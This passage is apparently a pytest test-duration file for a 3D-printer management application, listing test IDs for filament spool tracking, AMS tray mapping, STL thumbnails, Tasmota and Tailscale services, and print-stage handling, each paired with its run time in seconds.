"unit/services/test_spoolman_tracking.py::TestBuildAmsTrayLookup::test_no_ams_data": 0.0010618697851896286, + "unit/services/test_spoolman_tracking.py::TestBuildAmsTrayLookup::test_single_ams_unit": 0.0010596169158816338, + "unit/services/test_spoolman_tracking.py::TestFallbackTagHelpers::test_get_fallback_spool_tag_ams_ht": 0.0010538538917899132, + "unit/services/test_spoolman_tracking.py::TestFallbackTagHelpers::test_get_fallback_spool_tag_external": 0.0010442165657877922, + "unit/services/test_spoolman_tracking.py::TestFallbackTagHelpers::test_get_fallback_spool_tag_standard": 0.001062501221895218, + "unit/services/test_spoolman_tracking.py::TestFallbackTagHelpers::test_global_tray_to_ams_slot_ams_ht": 0.0010879896581172943, + "unit/services/test_spoolman_tracking.py::TestFallbackTagHelpers::test_global_tray_to_ams_slot_external": 0.0010556476190686226, + "unit/services/test_spoolman_tracking.py::TestFallbackTagHelpers::test_global_tray_to_ams_slot_standard_ams": 0.001044916920363903, + "unit/services/test_spoolman_tracking.py::TestFallbackTagHelpers::test_hash_serial_matches_frontend_algorithm": 0.0010497989133000374, + "unit/services/test_spoolman_tracking.py::TestResolveGlobalTrayId::test_custom_mapping": 0.0010539358481764793, + "unit/services/test_spoolman_tracking.py::TestResolveGlobalTrayId::test_default_mapping": 0.0010643145069479942, + "unit/services/test_spoolman_tracking.py::TestResolveGlobalTrayId::test_empty_mapping": 0.0010427050292491913, + "unit/services/test_spoolman_tracking.py::TestResolveGlobalTrayId::test_minus_one_falls_through_when_no_external_in_ams_trays": 0.0010654153302311897, + "unit/services/test_spoolman_tracking.py::TestResolveGlobalTrayId::test_minus_one_resolves_to_external_spool_when_present": 0.0010410398244857788, + "unit/services/test_spoolman_tracking.py::TestResolveGlobalTrayId::test_slot_beyond_mapping": 0.001051921397447586, + "unit/services/test_spoolman_tracking.py::TestResolveGlobalTrayId::test_unmapped_slot": 0.0013373158872127533, + "unit/services/test_spoolman_tracking.py::TestResolveSpoolTag::test_empty_both": 0.0013547204434871674, + "unit/services/test_spoolman_tracking.py::TestResolveSpoolTag::test_falls_back_to_tag_uid_when_no_uuid": 0.0010750843212008476, + "unit/services/test_spoolman_tracking.py::TestResolveSpoolTag::test_falls_back_to_tag_uid_when_uuid_zero": 0.0010541034862399101, + "unit/services/test_spoolman_tracking.py::TestResolveSpoolTag::test_missing_keys": 0.0010690949857234955, + "unit/services/test_spoolman_tracking.py::TestResolveSpoolTag::test_prefers_tray_uuid_over_fallback_when_non_zero": 0.0013222293928265572, + "unit/services/test_spoolman_tracking.py::TestResolveSpoolTag::test_prefers_tray_uuid_over_tag_uid": 0.001071929931640625, + "unit/services/test_spoolman_tracking.py::TestResolveSpoolTag::test_rejects_zero_tag_uid": 0.001054183579981327, + "unit/services/test_spoolman_tracking.py::TestResolveSpoolTag::test_uses_fallback_tag_when_ids_missing": 0.0010600769892334938, + "unit/services/test_spoolman_tracking.py::TestResolveSpoolTag::test_uses_fallback_tag_when_ids_zero": 0.0010271351784467697, + "unit/services/test_spoolman_tracking.py::TestResolveSpoolTag::test_zero_uuid_no_tag": 0.001074354164302349, + "unit/services/test_spoolman_tracking.py::TestStorePrintData::test_prefers_explicit_ams_mapping_over_queue_mapping": 0.004024391993880272, + "unit/services/test_spoolman_tracking.py::TestStorePrintData::test_stores_tracking_when_disable_weight_sync_is_false": 0.003078713081777096, + "unit/services/test_spoolman_tray_split.py::TestReportUsageTraySplit::test_multi_slot_print_does_not_activate_split_even_with_tray_changes": 0.0033991504460573196, + "unit/services/test_spoolman_tray_split.py::TestReportUsageTraySplit::test_op_sample_a_seamless_switch_splits_origin_to_backup": 0.003808167763054371, + "unit/services/test_spoolman_tray_split.py::TestReportUsageTraySplit::test_path_2_remain_delta_skips_tray_handled_by_split": 0.0033179372549057007, + "unit/services/test_spoolman_tray_split.py::TestReportUsageTraySplit::test_single_tray_change_entry_uses_normal_path": 0.0034063952043652534, + "unit/services/test_spoolman_tray_state_fallback_2953.py::TestReportUsageChargesTheRightSpool::test_a_resolved_mapping_still_restamps_the_archive": 0.0034561287611722946, + "unit/services/test_spoolman_tray_state_fallback_2953.py::TestReportUsageChargesTheRightSpool::test_the_archive_is_not_restamped_from_a_positional_guess": 0.006537552922964096, + "unit/services/test_spoolman_tray_state_fallback_2953.py::TestReportUsageChargesTheRightSpool::test_the_tray_the_printer_named_is_charged": 0.003667864017188549, + "unit/services/test_spoolman_tray_state_fallback_2953.py::TestResolveSlotToTrayFallbackRung::test_an_empty_status_payload_still_reaches_the_tray_rung": 0.0012566354125738144, + "unit/services/test_spoolman_tray_state_fallback_2953.py::TestResolveSlotToTrayFallbackRung::test_colour_match_still_wins": 0.0017473241314291954, + "unit/services/test_spoolman_tray_state_fallback_2953.py::TestResolveSlotToTrayFallbackRung::test_mapping_field_still_wins": 0.001271144486963749, + "unit/services/test_spoolman_tray_state_fallback_2953.py::TestResolveSlotToTrayFallbackRung::test_only_the_used_slot_is_claimed": 0.0012472579255700111, + "unit/services/test_spoolman_tray_state_fallback_2953.py::TestResolveSlotToTrayFallbackRung::test_still_says_none_when_the_printer_offers_nothing": 0.0012766215950250626, + "unit/services/test_spoolman_tray_state_fallback_2953.py::TestResolveSlotToTrayFallbackRung::test_the_reporters_print_resolves_to_tray_3": 0.0014698142185807228, + "unit/services/test_spoolman_tray_state_fallback_2953.py::TestSingleSlotTrayFromState::test_255_is_not_a_tray": 0.001061941497027874, + "unit/services/test_spoolman_tray_state_fallback_2953.py::TestSingleSlotTrayFromState::test_declines_a_multi_slot_print": 0.0010887905955314636, + "unit/services/test_spoolman_tray_state_fallback_2953.py::TestSingleSlotTrayFromState::test_declines_when_the_print_switched_trays": 0.00109136663377285, + "unit/services/test_spoolman_tray_state_fallback_2953.py::TestSingleSlotTrayFromState::test_falls_back_to_current_tray_now": 0.0010922681540250778, + "unit/services/test_spoolman_tray_state_fallback_2953.py::TestSingleSlotTrayFromState::test_falls_back_to_last_loaded_tray": 0.0010808557271957397, + "unit/services/test_spoolman_tray_state_fallback_2953.py::TestSingleSlotTrayFromState::test_falls_back_to_tray_now_at_start": 0.0010856837034225464, + "unit/services/test_spoolman_tray_state_fallback_2953.py::TestSingleSlotTrayFromState::test_no_state_at_all": 0.0010592155158519745, + "unit/services/test_spoolman_tray_state_fallback_2953.py::TestSingleSlotTrayFromState::test_slots_that_consumed_nothing_do_not_count_as_a_second_slot": 0.0010926071554422379, + "unit/services/test_spoolman_tray_state_fallback_2953.py::TestSingleSlotTrayFromState::test_the_mid_print_tray_change_is_the_answer": 0.0011159330606460571, + "unit/services/test_spoolman_tray_state_fallback_2953.py::TestTraySplitIsNotAPositionalGuess::test_a_runout_switch_without_a_mapping_still_restamps_the_archive": 0.0036630965769290924, + "unit/services/test_start_print_busy_guard_2598.py::test_busy_guard_takes_precedence_over_disconnected": 0.001298101618885994, + "unit/services/test_start_print_busy_guard_2598.py::test_start_print_publishes_when_printer_idle[FAILED]": 0.0016575763002038002, + "unit/services/test_start_print_busy_guard_2598.py::test_start_print_publishes_when_printer_idle[FINISH]": 0.0015021851286292076, + "unit/services/test_start_print_busy_guard_2598.py::test_start_print_publishes_when_printer_idle[IDLE]": 0.0014959229156374931, + "unit/services/test_start_print_busy_guard_2598.py::test_start_print_refused_when_printer_busy[PAUSE]": 0.001307392492890358, + "unit/services/test_start_print_busy_guard_2598.py::test_start_print_refused_when_printer_busy[PREPARE]": 0.0013265358284115791, + "unit/services/test_start_print_busy_guard_2598.py::test_start_print_refused_when_printer_busy[RUNNING]": 0.0013915365561842918, + "unit/services/test_start_print_busy_guard_2598.py::test_start_print_refused_when_printer_busy[SLICING]": 0.001298566348850727, + "unit/services/test_stl_thumbnail.py::TestStlThumbnailConstants::test_background_color": 0.0011043716222047806, + "unit/services/test_stl_thumbnail.py::TestStlThumbnailConstants::test_bambu_green_color": 0.0011252611875534058, + "unit/services/test_stl_thumbnail.py::TestStlThumbnailConstants::test_configure_matplotlib_cache_respects_externally_set_value": 0.0011575696989893913, + "unit/services/test_stl_thumbnail.py::TestStlThumbnailConstants::test_configure_matplotlib_cache_sets_mplconfigdir": 0.0012331921607255936, + "unit/services/test_stl_thumbnail.py::TestStlThumbnailConstants::test_empty_mesh_logged_at_debug_not_warning": 0.0015388047322630882, + "unit/services/test_stl_thumbnail.py::TestStlThumbnailConstants::test_font_manager_logger_demoted_to_warning": 0.001125379465520382, + "unit/services/test_stl_thumbnail.py::TestStlThumbnailConstants::test_light_gives_the_two_visible_faces_different_shades": 0.00115192960947752, + "unit/services/test_stl_thumbnail.py::TestStlThumbnailConstants::test_light_is_above_the_horizon": 0.0011188862845301628, + "unit/services/test_stl_thumbnail.py::TestStlThumbnailConstants::test_max_vertices_threshold": 0.0011125756427645683, + "unit/services/test_stl_thumbnail.py::TestStlThumbnailConstants::test_min_usable_stl_bytes_threshold": 0.0011093281209468842, + "unit/services/test_stl_thumbnail.py::TestStlThumbnailService::test_backwards_wound_triangles_render_the_same[open-True]": 0.11088375002145767, + "unit/services/test_stl_thumbnail.py::TestStlThumbnailService::test_backwards_wound_triangles_render_the_same[watertight-False]": 0.11376361455768347, + "unit/services/test_stl_thumbnail.py::TestStlThumbnailService::test_degenerate_mesh_still_renders": 0.02276499755680561, + "unit/services/test_stl_thumbnail.py::TestStlThumbnailService::test_generate_stl_thumbnail_empty_file": 0.0013924706727266312, + "unit/services/test_stl_thumbnail.py::TestStlThumbnailService::test_generate_stl_thumbnail_imports_available": 0.04876446817070246, + "unit/services/test_stl_thumbnail.py::TestStlThumbnailService::test_generate_stl_thumbnail_nonexistent_file": 0.0023456262424588203, + "unit/services/test_stl_thumbnail.py::TestStlThumbnailService::test_generate_stl_thumbnail_returns_none_on_missing_deps": 0.14645260572433472, + "unit/services/test_stl_thumbnail.py::TestStlThumbnailService::test_generate_stl_thumbnail_with_simple_cube": 0.020657077431678772, + "unit/services/test_stl_thumbnail.py::TestStlThumbnailService::test_generated_thumbnail_is_shaded_not_flat": 0.015889771282672882, + "unit/services/test_stl_thumbnail.py::TestStlThumbnailService::test_string_arguments_accepted_without_typeerror": 0.0013653598725795746, + "unit/services/test_tailscale.py::TestTailscaleService::test_get_status_binary_not_found": 0.0017343303188681602, + "unit/services/test_tailscale.py::TestTailscaleService::test_get_status_command_fails": 0.0016760416328907013, + "unit/services/test_tailscale.py::TestTailscaleService::test_get_status_empty_dnsname": 0.0016384907066822052, + "unit/services/test_tailscale.py::TestTailscaleService::test_get_status_malformed_json": 0.001995670609176159, + "unit/services/test_tailscale.py::TestTailscaleService::test_get_status_success": 0.001664668321609497, + "unit/services/test_tasmota.py::TestTasmotaService::test_build_url_encodes_special_characters": 0.0011448757722973824, + "unit/services/test_tasmota.py::TestTasmotaService::test_build_url_never_includes_credentials": 0.0011565983295440674, + "unit/services/test_tasmota.py::TestTasmotaService::test_build_url_without_auth": 0.0011803517118096352, + "unit/services/test_tasmota.py::TestTasmotaService::test_get_energy_handles_missing_data": 0.0016391212120652199, + "unit/services/test_tasmota.py::TestTasmotaService::test_get_energy_handles_partial_data": 0.0016151275485754013, + "unit/services/test_tasmota.py::TestTasmotaService::test_get_energy_handles_unreachable": 0.0016212677583098412, + "unit/services/test_tasmota.py::TestTasmotaService::test_get_energy_returns_data": 0.0016293833032250404, + "unit/services/test_tasmota.py::TestTasmotaService::test_get_status_returns_off": 0.0019023548811674118, + "unit/services/test_tasmota.py::TestTasmotaService::test_get_status_returns_on": 0.001623794436454773, + "unit/services/test_tasmota.py::TestTasmotaService::test_get_status_unreachable": 0.0016400143504142761, + "unit/services/test_tasmota.py::TestTasmotaService::test_send_command_handles_connection_error": 0.00203588604927063, + "unit/services/test_tasmota.py::TestTasmotaService::test_send_command_handles_invalid_json": 0.0024550212547183037, + "unit/services/test_tasmota.py::TestTasmotaService::test_send_command_handles_timeout": 0.002318022772669792, + "unit/services/test_tasmota.py::TestTasmotaService::test_send_command_success": 0.002175365574657917, + "unit/services/test_tasmota.py::TestTasmotaService::test_test_connection_failure": 0.0015383735299110413, + "unit/services/test_tasmota.py::TestTasmotaService::test_test_connection_success": 0.0015574777498841286, + "unit/services/test_tasmota.py::TestTasmotaService::test_toggle_success": 0.0017076004296541214, + "unit/services/test_tasmota.py::TestTasmotaService::test_turn_off_failure": 0.0016404343768954277, + "unit/services/test_tasmota.py::TestTasmotaService::test_turn_off_success": 0.0016891369596123695, + "unit/services/test_tasmota.py::TestTasmotaService::test_turn_on_failure": 0.0016613630577921867, + "unit/services/test_tasmota.py::TestTasmotaService::test_turn_on_success": 0.0017377585172653198, + "unit/services/test_tasmota.py::TestTasmotaService::test_turn_on_with_auth": 0.0017239106819033623, + "unit/services/test_tasmota.py::TestTasmotaServiceSingleton::test_singleton_exists": 0.0011614877730607986, + "unit/services/test_total_layers_print_start.py::test_a_string_total_is_accepted": 0.001129327341914177, + "unit/services/test_total_layers_print_start.py::test_a_zero_total_on_the_start_frame_counts_as_no_total": 0.0013218782842159271, + "unit/services/test_total_layers_print_start.py::test_an_unusable_total_does_not_stop_the_layer_counter": 0.0017737941816449165, + "unit/services/test_total_layers_print_start.py::test_file_change_while_running_also_keeps_its_own_total": 0.00112877506762743, + "unit/services/test_total_layers_print_start.py::test_firmware_reset_to_zero_mid_print_is_still_ignored": 0.001264398917555809, + "unit/services/test_total_layers_print_start.py::test_first_layer_advance_without_a_total_re_requests_once": 0.0015192963182926178, + "unit/services/test_total_layers_print_start.py::test_later_layer_advances_do_not_keep_re_requesting": 0.0015551242977380753, + "unit/services/test_total_layers_print_start.py::test_no_re_request_once_the_total_is_known": 0.0014735925942659378, + "unit/services/test_total_layers_print_start.py::test_previous_prints_total_still_cannot_bleed_through": 0.0046570878475904465, + "unit/services/test_total_layers_print_start.py::test_start_frame_without_a_total_asks_the_printer_for_one": 0.001482417806982994, + "unit/services/test_total_layers_print_start.py::test_the_pushall_answer_does_not_re_trigger_the_reset": 0.001449025236070156, + "unit/services/test_total_layers_print_start.py::test_the_recovered_total_is_what_downstream_reads": 0.0016400841996073723, + "unit/services/test_total_layers_print_start.py::test_total_arriving_with_the_start_frame_needs_no_pushall": 0.0013591060414910316, + "unit/services/test_total_layers_print_start.py::test_total_arriving_with_the_start_frame_survives": 0.001301908865571022, + "unit/services/test_total_layers_print_start.py::test_unusable_totals_do_not_break_ingest[-1]": 0.0014890916645526886, + "unit/services/test_total_layers_print_start.py::test_unusable_totals_do_not_break_ingest[0_0]": 0.0014574117958545685, + "unit/services/test_total_layers_print_start.py::test_unusable_totals_do_not_break_ingest[0_1]": 0.0016701491549611092, + "unit/services/test_total_layers_print_start.py::test_unusable_totals_do_not_break_ingest[3.9]": 0.001233300194144249, + "unit/services/test_total_layers_print_start.py::test_unusable_totals_do_not_break_ingest[33.7]": 0.0015095984563231468, + "unit/services/test_total_layers_print_start.py::test_unusable_totals_do_not_break_ingest[None]": 0.0014844313263893127, + "unit/services/test_total_layers_print_start.py::test_unusable_totals_do_not_break_ingest[]": 0.0014792932197451591, + "unit/services/test_total_layers_print_start.py::test_unusable_totals_do_not_break_ingest[abc]": 0.001509588211774826, + "unit/services/test_total_layers_print_start.py::test_unusable_totals_do_not_break_ingest[value7]": 0.0015143370255827904, + "unit/services/test_total_layers_print_start.py::test_unusable_totals_do_not_break_ingest[value8]": 0.0016993656754493713, + "unit/services/test_tray_change_callback.py::TestTrayChangeCallback::test_every_logged_change_is_reported": 0.0012758523225784302, + "unit/services/test_tray_change_callback.py::TestTrayChangeCallback::test_missing_callback_does_not_break_logging": 0.0011408282443881035, + "unit/services/test_tray_change_callback.py::TestTrayChangeCallback::test_no_callback_outside_a_running_print": 0.0010915463790297508, + "unit/services/test_tray_change_callback.py::TestTrayChangeCallback::test_repeat_of_the_same_tray_is_not_reported": 0.0011536534875631332, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_a_paused_printer_is_covered_too": 0.001056070439517498, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_an_unnamed_stage_reads_as_preparing[200]": 0.0010716887190937996, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_an_unnamed_stage_reads_as_preparing[254]": 0.0010690940544009209, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_an_unnamed_stage_reads_as_preparing[68]": 0.0010644346475601196, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_an_unnamed_stage_reads_as_preparing[70]": 0.001059255562722683, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_an_unnamed_stage_reads_as_preparing[71]": 0.0010693240910768509, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_an_unnamed_stage_reads_as_preparing[72]": 0.0011264309287071228, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_an_unnamed_stage_reads_as_preparing[73]": 0.0010710572823882103, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_an_unnamed_stage_reads_as_preparing[75]": 0.0010951552540063858, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_an_unnamed_stage_reads_as_preparing[76]": 0.0014790333807468414, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_an_unnamed_stage_reads_as_preparing[80]": 0.0013826517388224602, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[0]": 0.0010732514783740044, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[10]": 0.0010576648637652397, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[11]": 0.0010440563783049583, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[12]": 0.0010745832696557045, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[13]": 0.0010616788640618324, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[14]": 0.0010649459436535835, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[15]": 0.0010561272501945496, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[16]": 0.001081216149032116, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[17]": 0.0010815765708684921, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[18]": 0.00107587780803442, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[19]": 0.0010655485093593597, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[1]": 0.0011419784277677536, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[20]": 0.0010867463424801826, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[21]": 0.0010769478976726532, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[22]": 0.0010655056685209274, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[23]": 0.0010587135329842567, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[24]": 0.0010662982240319252, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[25]": 0.001078551635146141, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[26]": 0.0010656965896487236, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[27]": 0.001069856807589531, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[28]": 0.0010606180876493454, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[29]": 0.0010772794485092163, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[2]": 0.001086607575416565, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[30]": 0.0010748831555247307, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[31]": 0.0010650651529431343, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[32]": 0.001079312525689602, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[33]": 0.0010821176692843437, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[34]": 0.0010626297444105148, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[35]": 0.0010681720450520515, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[36]": 0.0010599251836538315, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[37]": 0.001095644198358059, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[38]": 0.001070776954293251, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[39]": 0.0010959552600979805, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[3]": 0.0010833600535988808, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[40]": 0.0011018961668014526, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[41]": 0.0010676216334104538, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[42]": 0.0010854452848434448, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[43]": 0.0013255523517727852, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[44]": 0.0010647336021065712, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[45]": 0.0010668206959962845, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[46]": 0.0010953517630696297, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[47]": 0.0010695038363337517, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[48]": 0.0010632630437612534, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[49]": 0.0010778214782476425, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[4]": 0.0010638749226927757, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[50]": 0.0010660989210009575, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[51]": 0.0010914858430624008, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[52]": 0.001079072244465351, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[53]": 0.0010708384215831757, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[54]": 0.001077369786798954, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[55]": 0.0010776007547974586, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[56]": 0.0010654190555214882, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[57]": 0.0010768687352538109, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[58]": 0.0014785807579755783, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[59]": 0.0011175638064742088, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[5]": 0.0010554073378443718, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[60]": 0.0010858848690986633, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[61]": 0.001083611510694027, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[62]": 0.0010871486738324165, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[63]": 0.001073482446372509, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[64]": 0.0010834410786628723, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[65]": 0.0010827705264091492, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[66]": 0.0010745851323008537, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[6]": 0.001057300716638565, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[74]": 0.001085353083908558, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[77]": 0.0010809050872921944, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[7]": 0.0010601980611681938, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[8]": 0.0010816194117069244, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_every_named_stage_keeps_its_own_name[9]": 0.0010607372969388962, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_it_never_shows_the_raw_number": 0.001036851666867733, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheCard::test_the_label_matches_the_one_the_table_already_uses": 0.001049516722559929, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheDiagnosticPathStillReportsTheNumber::test_and_agree_for_a_named_one": 0.0010564392432570457, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheDiagnosticPathStillReportsTheNumber::test_get_stage_name_still_names_the_number[200]": 0.0012528495863080025, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheDiagnosticPathStillReportsTheNumber::test_get_stage_name_still_names_the_number[254]": 0.0011068033054471016, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheDiagnosticPathStillReportsTheNumber::test_get_stage_name_still_names_the_number[68]": 0.0010589025914669037, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheDiagnosticPathStillReportsTheNumber::test_get_stage_name_still_names_the_number[70]": 0.0010616807267069817, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheDiagnosticPathStillReportsTheNumber::test_get_stage_name_still_names_the_number[71]": 0.0010653967037796974, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheDiagnosticPathStillReportsTheNumber::test_get_stage_name_still_names_the_number[72]": 0.0010911952704191208, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheDiagnosticPathStillReportsTheNumber::test_get_stage_name_still_names_the_number[73]": 0.0010619917884469032, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheDiagnosticPathStillReportsTheNumber::test_get_stage_name_still_names_the_number[75]": 0.001064184121787548, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheDiagnosticPathStillReportsTheNumber::test_get_stage_name_still_names_the_number[76]": 0.0011631092056632042, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheDiagnosticPathStillReportsTheNumber::test_get_stage_name_still_names_the_number[80]": 0.001259361393749714, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheDiagnosticPathStillReportsTheNumber::test_the_two_paths_genuinely_disagree_for_an_unnamed_stage": 0.0010370230302214622, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheIdleSentinelsAreUntouched::test_a1_p1_idle_sentinel": 0.0010433252900838852, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheIdleSentinelsAreUntouched::test_the_sentinels_stay_none_even_while_running": 0.0010249018669128418, + "unit/services/test_unknown_stage_reads_as_preparing.py::TestTheIdleSentinelsAreUntouched::test_x1_idle_sentinel": 0.0010395171120762825, + "unit/services/test_upload_failure_reason_2899.py::TestTheReportReachesTheCaller::test_a_caller_that_does_not_ask_is_unaffected": 0.002095518633723259, + "unit/services/test_upload_failure_reason_2899.py::TestTheReportReachesTheCaller::test_it_survives_the_retry_loop": 0.023395278491079807, + "unit/services/test_upload_failure_reason_2899.py::TestTheReportReachesTheCaller::test_two_callers_do_not_cross": 0.0020890673622488976, + "unit/services/test_upload_failure_reason_2899.py::TestTheReportReachesTheCaller::test_upload_file_async_fills_the_slot": 0.002481040544807911, + "unit/services/test_upload_failure_reason_2899.py::TestTheWording::test_a_handshake_failure_says_the_card_is_not_involved": 0.0010805251076817513, + 